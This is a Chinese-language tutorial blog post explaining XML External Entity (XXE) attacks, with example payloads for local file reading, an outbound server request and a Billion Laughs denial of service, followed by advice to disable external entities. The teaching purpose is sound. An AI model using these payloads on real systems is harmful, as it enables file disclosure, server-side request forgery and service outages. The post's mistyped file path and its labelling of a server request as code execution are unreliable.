iT邦幫忙

第 11 屆 iT 邦幫忙鐵人賽

DAY 6
1
自我挑戰組

到處挖坑,現在該來還(填)願(坑)ㄌ !!!系列 第 6

『 Day 6 』Web Security - A4 . XML External Entity ( XXE )

A4 - XML 外部處理器漏洞

圖片來源 : portswigger

  • 主要是因為以 XML 為基礎的網路應用程式沒有管控好權限,直接處理 XML 語法的請求或上傳
  • 此時攻擊者僅需要加入一個惡意的 XML 文件,就能夠鎖定 XML 處理器漏洞進行攻擊

什麼是 XML ?

Extensible Markup Language,簡稱:XML。跟 HTML 一樣同為是標記式語言。

什麼是 SOAP ?

簡單物件存取協定 (Simple Object Access Protocal,SOAP)

  • 以XML編碼
  • 為目前 XML 訊息主要用來簡化網頁伺服器訊息傳遞的標準化格式
  • SOAP 1.2 之前版本
    • 預設都有XML外部處理器漏洞(XXE)的風險
    • 易遭受到DoS(阻斷式服務)攻擊

舉例

案例一

一個簡單網站頁面,要求輸入一個暱稱,輸入後發現他是以 XML 格式傳遞資料。

<?xml version="1.0" encoding="utf-8"?>
<root>
<name>Alice</name>
</root>

假設我自己額外宣告一個實體 xxe,目的是輸出本機資料夾中的密碼檔,並將原本丟出暱稱的位置更改成實體名稱。
有以下幾種方式:

  • 文件包含漏洞 Local File Inclusion

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "file:///ect/passwd">]>
    <root>
    <name>&xxe;</name>
    </root>
    

    沒有禁止解析外部實體的狀況下就會獲得

  • RCE (Remote Code Execute),使伺服器訪問指定的外部網站。

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "http://xxx.com.tw/?amao=1" >]>
    <root>
    <name>&xxe;</name>
    </root>
    
  • SSRF (Server-Side Request Forgery, 服務請求偽造),使伺服器訪問外網無法訪問的內部系統。

案例二 - Billion Laugh Attack

<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;" >
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;" >
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;" >
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;" >
]>
<data>&a4;</data>

由伺服器的 CPU 得知,結果就是 DoS

防護建議

  • 完整的禁止使用外部實體,
  • 以 PHP 為例,在程式碼中加入libxml_disable_entity_loader(true);即可防止 parser 處理外部實體。

上一篇
『 Day 5 』Web Security - A3 . 敏感資料外洩
下一篇
『 Day 7 』Web Security - A5 . Broken Access Control
系列文
到處挖坑,現在該來還(填)願(坑)ㄌ !!!30

尚未有邦友留言

立即登入留言